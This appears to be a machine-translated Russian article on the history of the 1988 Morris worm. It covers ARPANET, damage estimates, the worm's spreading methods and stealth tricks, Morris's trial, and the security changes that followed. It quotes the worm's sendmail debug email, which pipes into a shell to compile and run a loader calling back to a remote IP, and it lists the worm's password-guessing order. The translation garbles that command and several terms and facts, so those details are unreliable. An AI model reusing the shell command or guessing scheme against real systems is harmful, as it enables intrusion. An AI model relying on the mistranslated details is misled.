2 ноября 1988 года ARPANET была атакована программой, которая позже стала известна как «червь Морриса» по имени ее создателя, студента Корнеллского университета Роберта Морриса-младшего.
ARPANET (Сеть Агентства перспективных исследовательских проектов) была создана в 1969 году в по инициативе Агентства перспективных исследовательских проектов Министерства обороны США (DARPA, Defense Advanced Research Projects Agency) и явился прообразом Интернета.
Эта сеть создана в интересах исследователей в области вычислительной техники и технологий для обмена сообщениями, а также программами и наборами данных между крупными исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерство обороны США (DoD, Министерство обороны США).
Именно по заказу Министерства обороны был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х сеть насчитывала несколько десятков тысяч ВМ.
ARPANET прекратила свое существование в июне 1990 года.
Червь Морриса был первым вредоносным программным обеспечением в истории компьютерных технологий, которое использовало механизмы автоматического распространения по сети.
Для этого было использовано несколько уязвимостей в сетевых сервисах, а также некоторые слабости в компьютерных системах из-за недостаточного внимания к вопросам безопасности на тот момент. По словам Роберта Морриса, червь был создан в исследовательских целях.
Его код не содержал никакой «полезной нагрузки» (деструктивных функций).
Однако из-за ошибок в алгоритмах работы распространение червя спровоцировало так называемый «отказ в обслуживании», когда виртуальные машины были заняты выполнением многочисленных копий червя и переставали отвечать на команды оператора.
Червь Морриса практически парализовал работу компьютеров в сети ARPANET на срок до пяти дней.
Оценка времени простоя составляет не менее 8 миллионов часов и более 1 миллиона часов времени, потраченного на восстановление работоспособности систем.
Общие убытки в денежном выражении оценили в $98 млн, которые складывались из прямых и косвенных убытков.
Включены прямые убытки (32 млн долларов США): остановка, тестирование и перезагрузка 42 700 машин; выявление червей, удаление, очистка памяти и восстановление 6200 машин; анализ, дизассемблирование и документирование кода червя; исправление UNIX-систем и тестирование.
Включены косвенные убытки (66 млн долларов США): потеря компьютерного времени из-за отсутствия доступа к сети; потеря доступа пользователя к сети.
Однако к этим оценкам нужно относиться очень и очень осторожно.
Конструктивно червь состоял из трех частей – «головы» и двух «хвостов».
«Головой» был исходный код C (99 строк), который был скомпилирован непосредственно на удаленной машине.
«Хвосты» представляли собой идентичные по исходному коду и алгоритмам бинарные файлы, но скомпилированные для разных типов архитектур.
По плану Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» была отлита следующими методами:
- использование режима отладки в sendmail;
- эксплуатация уязвимости переполнения буфера в сетевом сервисе Fingerd;
- подбор логина и пароля для удаленного выполнения программ (rexec);
- вызов удаленного интерпретатора команд (rsh) путем подбора логина и пароля или использования механизма доверия.
Одной из особенностей режима отладки было то, что почтовое сообщение обрабатывалось не самим Sendmail, а другой программой.
Пример электронного письма, отправленного червем: отлаживать почта от: rcptto:<"|sed-e '1,/^$/d' | /bin/sh; exit 0"> данные компакт-диск /usr/tmp кот > x14481910.c <<'EOF' ЭОФ cc -о x14481910 x14481910.s; x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c .
покидать Как видите, из тела письма были удалены заголовки (с помощью текстового препроцессора sed) и сохранен файл исходного кода «head».
Далее командному процессору давались инструкции скомпилировать «головной» код, запустить полученный исполняемый файл и стереть временные файлы.
Для эксплуатации уязвимости сервиса Fingerd червь передавал специально подготовленную строку длиной 536 байт, которая в конечном итоге вызывала функцию execve("/bin/sh", 0, 0).
Это работало только для компьютеров VAX под управлением 4.3BSD; Компьютеры SUN под управлением SunOS не имели этой уязвимости.
Для использования метода распространения rexec и rsh был собран список пользователей локальной машины.
На его основе были выбраны наиболее часто используемые пароли, в надежде, что многие пользователи будут иметь одинаковые имена и пароли на всех машинах сети, что, однако, оказалось недалеко от истины.
Помимо выбора, rsh использовал механизм доверия или, иначе говоря, упрощенный механизм аутентификации, основанный на IP-адресе удаленной машины.
Такие адреса хранились в файлах /etc/hosts.equiv и .
rhosts. Для большинства компьютеров доверие было взаимным, поэтому с большой долей вероятности найденный червем список IP-адресов из этих файлов позволял зайти в удаленную систему через rsh вообще без использования пароля.
При поиске червь пробовал следующие варианты пароля:
- пустой;
- имя пользователя (пользователь);
- имя пользователя, написанное задом наперед (resu);
- двойное повторение имени пользователя (useruser);
- имя или фамилия пользователя (Джон, Смит);
- имя или фамилия пользователя строчными буквами (Джон, Смит);
- встроенный словарь на 432 слова;
- файл /usr/dict/words, содержащий около 24 000 слов и используемый в 4.3BSD (и других) в качестве орфографического словаря.
Если слово начинается с заглавной буквы, то проверялся и вариант со строчной буквой.
Для поиска удаленных компьютеров сеть сканировалась на основе информации из таблицы маршрутов и собственного IP-адреса зараженной системы.
Червь использовал несколько приемов, затрудняющих обнаружение администраторам компьютеров:
- удаление вашего исполняемого файла после запуска;
- все сообщения об ошибках были отключены, а размер аварийного дампа был установлен на ноль;
- исполняемый файл червя был сохранен под именем sh, то же имя, которое использовалось интерпретатором команд Bourne Shell, что скрыло червя в списке процессов;
- примерно каждые три минуты создавался дочерний поток и завершался родительский поток, что безвозвратно меняло pid процесса-червя и сбрасывало время выполнения, указанное в списке процессов;
- все текстовые строки были закодированы с помощью операции xor 81h.
Именно неправильно реализованный алгоритм проверки того, заражена ли система уже, привел к массовому распространению червя в сети, вопреки замыслу его автора.
На практике компьютеры заражались многократно, что, во-первых, приводило к быстрому истощению ресурсов, а во-вторых, способствовало лавинообразному распространению червя по сети.
По некоторым оценкам, червем Морриса заражено около 6200 компьютеров.
Сам застройщик, осознав масштаб результатов своего действия, добровольно сдался властям и рассказал обо всем.
Слушание по его делу закончилось 22 января 1990 года.
Первоначально Моррису грозило до пяти лет тюремного заключения и штраф в размере 25 000 долларов.
На самом деле приговор был довольно мягким; суд назначил 400 часов общественных работ, штраф в размере 10 000 долларов, трехлетний испытательный срок и оплату расходов, связанных с наблюдением за осужденным.
Инцидент с «червем Морриса» заставил ИТ-специалистов серьезно задуматься о вопросах безопасности, в частности, именно после этого для повышения безопасности системы было введено использование пауз после неправильного ввода пароля и хранения паролей в /etc/shadow. где они были переведены из статуса читаемых, стали вводить всех пользователей файла /etc/passwd. Но самым важным событием стало создание в ноябре 1988 года Координационного центра CERT (CERT/CC), деятельность которого связана с решением проблем интернет-безопасности.
В первом бюллетене по безопасности CERT, вышедшем в декабре 1988 года, сообщалось об уязвимостях, используемых червем.
Примечательно, что многие технические решения, используемые червем Морриса, такие как перебор паролей, компиляция кода загрузчика на удаленной виртуальной машине под управлением *NIX-систем (Slapper), сканирование сети для выявления целей и т.д. Они также используются в современных примеры вредоносного ПО.
Интересно, что в том же 1988 году известный программист Питер Нортон довольно резко высказался в прессе против самого факта существования компьютерных вирусов, назвав их «мифом» и сравнив шум вокруг этой темы с «рассказами о крокодилах».
живу в канализации Нью-Йорка».
Всего через два года после анонса Norton, в 1990 году, была выпущена первая версия антивирусной программы Norton AntiVirus. И, наконец, в 1988 году, под впечатлением атаки червя Морриса, Американская ассоциация компьютерного оборудования объявила 30 ноября Международным днем компьютерной безопасности, который отмечается и по сей день.
Теги: #моррис #WORM #киберугроза #информационная безопасность
-
Проекционный Экран Своими Руками
19 Oct, 24